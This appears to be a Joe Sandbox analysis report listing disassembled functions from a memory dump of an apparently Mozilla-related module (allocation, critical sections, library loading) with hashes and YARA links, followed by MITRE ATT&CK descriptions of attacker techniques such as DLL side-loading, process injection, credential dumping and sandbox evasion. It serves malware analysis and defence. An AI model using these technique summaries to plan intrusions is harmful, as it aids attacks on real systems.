Opcode Fuzzy Hash: 3bb851d4a24a3c94b1b57a50d7ada213a41af0139628a2820582b090ee4dd058
Instruction Fuzzy Hash: 1A41A271A09749CFC701CF38C481A9BB7F4AF9A348F448A1DF985A7611D731E969CB82

Function 6C993CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C993D19
mozalloc_abort.MOZGLUE(?), ref: 6C993D6C

Strings

d, xrefs: 6C993D58

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: c497ee272bd85c0a2daa55b3ce090610ba1680cd56dfeb06f20d4e29927c36ef
Instruction ID: ae06156d6bacca7e9dd5d9bb8c3e17f4f1e599da0bbb2d82f8cd29c6ab0d3005
Opcode Fuzzy Hash: c497ee272bd85c0a2daa55b3ce090610ba1680cd56dfeb06f20d4e29927c36ef
Instruction Fuzzy Hash: BD11C836E08688D7DB009F69CC244EDB779FF96218B499219DC49A7621EB30E6C4C350

Function 6C964730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9644B2,6C9DE21C,6C9DF7F8), ref: 6C96473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C96474A

Strings

GetNtLoaderAPI, xrefs: 6C964744

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 8c30f4870fa00abb936e6fa3bad4116a238399edea6652f99df304fd981a1bab
Instruction ID: f1cda16d695908bbd307540fdb4711dc50a4806afec0f63a8687042f72b68fbf
Opcode Fuzzy Hash: 8c30f4870fa00abb936e6fa3bad4116a238399edea6652f99df304fd981a1bab
Instruction Fuzzy Hash: E7019275708754CFDF00AFA68854619BBB9EF8B761B154469EA06D7740CB70E801CFA2

Function 6C9B6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C9B6E22
__Init_thread_footer.LIBCMT ref: 6C9B6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C9B6E1D

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: f6f3ef003dba3d1df7c96444c16f65cef3b45e50ef26198ecf2115b1958b2b3d
Instruction ID: 4eec0349a851278febdca1097a833dac929feb13fc97b1122e099e3fb31f5552
Opcode Fuzzy Hash: f6f3ef003dba3d1df7c96444c16f65cef3b45e50ef26198ecf2115b1958b2b3d
Instruction Fuzzy Hash: 2BF0503120994CDBDB008BA8C852A9273F1935361CF5C0155F80477F91C731F65ACB53

Function 6C969E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C969EEF

Strings

Infinity, xrefs: 6C969EB7
NaN, xrefs: 6C969EC1

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 842404dea5dc68143e665006d6f2dec5d3da53abc672d39268244c2f592baed2
Instruction ID: a68406bf20254f7c53f4006fc1909cdaea423b497af1176b9eea011b9f2a109e
Opcode Fuzzy Hash: 842404dea5dc68143e665006d6f2dec5d3da53abc672d39268244c2f592baed2
Instruction Fuzzy Hash: 0AF04971609E41CBEB00CF98D847B9473B1A75771DF354A59C5082BB80D775F6CACA82

Function 6C96BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C96BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C96BEF5

Strings

cryptbase.dll, xrefs: 6C96BEF0

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 7d098df918a7eae6cdc4537d316f34f2c377ae96583c6bd8a7a5dc7461c70023
Instruction ID: 9c1673ca6a609f562cc4062b7d4c9acec0c25ea6c164f6b512cc7d3c994cb781
Opcode Fuzzy Hash: 7d098df918a7eae6cdc4537d316f34f2c377ae96583c6bd8a7a5dc7461c70023
Instruction Fuzzy Hash: 89D023311C4508F7D7016B518C09F1937789702715F20C020F30564C91D7B0F450DFE4

Function 6C9550E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C954E9C,?,?,?,?,?), ref: 6C95510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C954E9C,?,?,?,?,?), ref: 6C955167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6C955196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C954E9C), ref: 6C955234

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: edee7e2876aee732ff45a78ac653b5fdb823a2baad613fbc1bdc7a711393f647
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: B691CE35501646CFCB14CF09C490A5ABBA6FF99318B28858CDC589BB16D331FD92CBE1

Function 6C9908F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C990918
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9909A6
EnterCriticalSection.KERNEL32(6C9DE7DC,?,00000000), ref: 6C9909F3
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C990ACB

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 833df88e8fe081bc6b3f9d58f19570b1048e26883e55ca00b94d8daccd3156b9
Instruction ID: d3befe7a4f976c521bfad4eace1527be6ce43af4b2af64afd759f938475818cc
Opcode Fuzzy Hash: 833df88e8fe081bc6b3f9d58f19570b1048e26883e55ca00b94d8daccd3156b9
Instruction Fuzzy Hash: 90512C36B06E50CBEB049A15C414665B3B9EB8AF2473D853ADD75A7F80D731FC8186C1

Function 6C9AB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C9AB2C9,?,?,?,6C9AB127,?,?,?,?,?,?,?,?,?,6C9AAE52), ref: 6C9AB628

Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A90FF
Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C9AB2C9,?,?,?,6C9AB127,?,?,?,?,?,?,?,?,?,6C9AAE52), ref: 6C9AB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C9AB2C9,?,?,?,6C9AB127,?,?,?,?,?,?,?,?,?,6C9AAE52), ref: 6C9AB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C9AB127,?,?,?,?,?,?,?,?), ref: 6C9AB74D

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 81c3d9851fc4180664e1f212f6afe8b6158799243a141def6e7f56d8bc58896f
Instruction ID: c65967e1f85ce746cd827f6644134cdf9e4f9b300e1e802e70dec5fa333f7cc0
Opcode Fuzzy Hash: 81c3d9851fc4180664e1f212f6afe8b6158799243a141def6e7f56d8bc58896f
Instruction Fuzzy Hash: 8651ED71A0521ACBDB14CF98C98076EBBB5FF44704F15852DC85AABB10D771E806CBA1

Function 6C9ADF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C99FF2A), ref: 6C9ADFFD

Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A90FF
Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C99FF2A), ref: 6C9AE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C99FF2A), ref: 6C9AE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C99FF2A), ref: 6C9AE0FE

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 14355927457d629c4872fcd489a0407ca909c108c9ebe1080465899144166865
Instruction ID: f2ae2ce04c91387e652841b62fccb90e4afd234def3e245de11b8f595b4916ab
Opcode Fuzzy Hash: 14355927457d629c4872fcd489a0407ca909c108c9ebe1080465899144166865
Instruction Fuzzy Hash: 8741C471608226CFEB14CFA9C89036A73B5BB45308F14453DD516EB740E731E966CB92

Function 6C9A6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C9A6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C9A6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9A6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9A6F5C

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 43aee19e3f0c5cb9c66f6c71f6eece80b20e29e2182b737823a5defea81eab87
Instruction ID: 27068665d7e028ac19d70f7693af422e3f232266c6bb996cdf046fac444b5bb7
Opcode Fuzzy Hash: 43aee19e3f0c5cb9c66f6c71f6eece80b20e29e2182b737823a5defea81eab87
Instruction Fuzzy Hash: 9531F671A1060A8FDB04CF6CC9806AA73E9EB94304F60423DD41AD7651EF31E66AC7A1

Function 6C9BB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C960A4D), ref: 6C9BB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C960A4D), ref: 6C9BB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C960A4D), ref: 6C9BB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C960A4D), ref: 6C9BB67F

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 4a3fa7251f20dddc6a31a05e6545ba1e6e250dcf32023cc5abafa5e9dbd4eb59
Instruction ID: 1e6818b70d90afa943eacdccacf6a42aefc3ddc81936bb5cfd5fe10332e2ae08
Opcode Fuzzy Hash: 4a3fa7251f20dddc6a31a05e6545ba1e6e250dcf32023cc5abafa5e9dbd4eb59
Instruction Fuzzy Hash: 6E31E371A00217DFDB10CF58C88466BBBB9EF84324F168629C84AFB241DB31ED15CBA1

Function 6C98F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C98F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C98F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C98F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C98F668

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: e7f27f9f32ace74b3a6bba9ab02ad8230c30b8ed2a5ba9c71f665feb71d6b9ea
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 5B315E71B00214AFCB14CF19DCC0AAA7BB9EB94358B148938EA498BF04D631E9448B91

Function 6C9A26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9A26C1
free.MOZGLUE(?), ref: 6C9A26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9A26FF
free.MOZGLUE ref: 6C9A270D

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 1264677abb0e2ab6cd0a034bc7a0299bdd433441f67f6c834f4097ed3b41bb67
Instruction ID: 808196dbb8c7bf08ebfe75096d6c216f8bfecdf6c4da0336bc457311e1ce8cce
Opcode Fuzzy Hash: 1264677abb0e2ab6cd0a034bc7a0299bdd433441f67f6c834f4097ed3b41bb67
Instruction Fuzzy Hash: 44F02DB27026016BEB109E59D88495B73ADFF5131CB200035EA1ED3B11E331F95AC6A2

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

